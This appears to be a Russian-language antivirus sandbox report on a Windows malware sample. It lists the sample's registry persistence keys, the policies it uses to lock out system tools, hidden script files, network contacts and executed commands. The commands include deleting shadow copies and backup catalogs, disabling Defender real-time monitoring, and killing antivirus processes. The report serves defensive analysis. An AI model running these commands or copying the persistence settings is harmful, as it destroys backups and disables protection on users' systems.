Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '<PATH_SAMPLE>.vbs'
- [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = '<PATH_SAMPLE>.vbs'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] 'Debugger' = ''
- [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] 'Debugger' = '<PATH_SAMPLE>.vbs'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'MyStartupScript' = '<PATH_SAMPLE>.vbs'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'msvcr80dll' = '%WINDIR%\SysWOW64\msvcr80.dll.bat'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'msvcr80dll' = '%WINDIR%\SysWOW64\msvcr80.dll.bat'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'Win32Updater' = '<SYSTEM32>\systemconfig.exe.vbs'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Anti-VirusScript' = '<SYSTEM32>\systemconfig.exe.vbs'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'advapi32_ext' = '%WINDIR%\advapi32_ext.vbs'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'advapi32_ext' = '%WINDIR%\advapi32_ext.vbs'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Интерпретатора командной строки (CMD)
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
блокирует:
- Средство контроля пользовательских учетных записей (UAC)
изменяет следующие системные настройки:
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
удаляет теневые копии разделов.
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Set-MpPreference -DisableRealtimeMonitoring $true
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /IM powershell.exe /F
- '<SYSTEM32>\taskkill.exe' /IM mbam.exe /F
- '<SYSTEM32>\taskkill.exe' /IM pavsrvx.exe /F
- '<SYSTEM32>\taskkill.exe' /IM Protegent.exe /F
- '<SYSTEM32>\taskkill.exe' /IM NortonSecurity.exe /F
- '<SYSTEM32>\taskkill.exe' /IM avc.exe /F
- '<SYSTEM32>\taskkill.exe' /IM avgsvc.exe /F
- '<SYSTEM32>\taskkill.exe' /IM AvastSvc.exe /F
- '<SYSTEM32>\taskkill.exe' /IM avp.exe /F
- '<SYSTEM32>\taskkill.exe' /IM MsMpEng.exe /F
- '<SYSTEM32>\taskkill.exe' /IM msconfig.exe /F
- '<SYSTEM32>\taskkill.exe' /IM gp.exe /F
- '<SYSTEM32>\taskkill.exe' /IM control.exe /F
- '<SYSTEM32>\taskkill.exe' /IM regedit.exe /F
- '<SYSTEM32>\taskkill.exe' /IM cmd.exe /F
- '<SYSTEM32>\taskkill.exe' /IM taskmgr.exe /F
- '<SYSTEM32>\taskkill.exe' /IM avguard.exe /F
- '<SYSTEM32>\taskkill.exe' /IM mcshield.exe /F
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\wbengine.exe
- <SYSTEM32>\vds.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\cmd.exe
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\desktop\readmeplease.txt
- %WINDIR%\syswow64\msvcr80.dll.bat
- <SYSTEM32>\systemconfig.exe.vbs
- %WINDIR%\advapi32_ext.vbs
Присваивает атрибут 'скрытый' для следующих файлов
- <PATH_SAMPLE>.vbs
- %WINDIR%\syswow64\msvcr80.dll.bat
- <SYSTEM32>\systemconfig.exe.vbs
- %WINDIR%\advapi32_ext.vbs
Изменяет файл HOSTS.
Сетевая активность
Подключается к
- 'google.com':80
- 'me###fire.com':443
- '18#.#72.128.203':80
TCP
Запросы HTTP GET
- http://www.google.com/
Другие
- 'me###fire.com':443
UDP
- DNS ASK google.com
- DNS ASK me###fire.com
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' <SYSTEM32>\systemconfig.exe.vbs
- '<SYSTEM32>\wscript.exe' %WINDIR%\advapi32_ext.vbs
Запускает на исполнение
- '<SYSTEM32>\wscript.exe' "<PATH_SAMPLE>.vbs" /elevated
- '<SYSTEM32>\wbengine.exe'
- '<SYSTEM32>\calc.exe'
- '<SYSTEM32>\notepad.exe' %HOMEPATH%\Desktop\READMEPLEASE.txt
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\cmd.exe' /c "%ProgramFiles%\Bitdefender\Bitdefender 2025\bdnserv.exe" -disable (со скрытым окном)
- '<SYSTEM32>\cmd.exe'
- '<SYSTEM32>\cmd.exe' /c wbadmin delete catalog -quiet (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c "%ProgramFiles(x86)%\Kaspersky Lab\Kaspersky Anti-Virus 2025\avp.com" disable (со скрытым окном)
- '<SYSTEM32>\wbadmin.exe' delete catalog -quiet
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\SysWOW64\msvcr80.dll.bat" "
- '<SYSTEM32>\taskkill.exe' /IM AvastSvc.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM avp.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM mbam.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM pavsrvx.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM msconfig.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM NortonSecurity.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM avc.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM avgsvc.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM Protegent.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM powershell.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM control.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM regedit.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM cmd.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM avguard.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM MsMpEng.exe /F (со скрытым окном)
- '<SYSTEM32>\wscript.exe' <SYSTEM32>\systemconfig.exe.vbs (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Set-MpPreference -DisableRealtimeMonitoring $true (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM gp.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM taskmgr.exe /F (со скрытым окном)
- '<SYSTEM32>\taskkill.exe' /IM mcshield.exe /F (со скрытым окном)
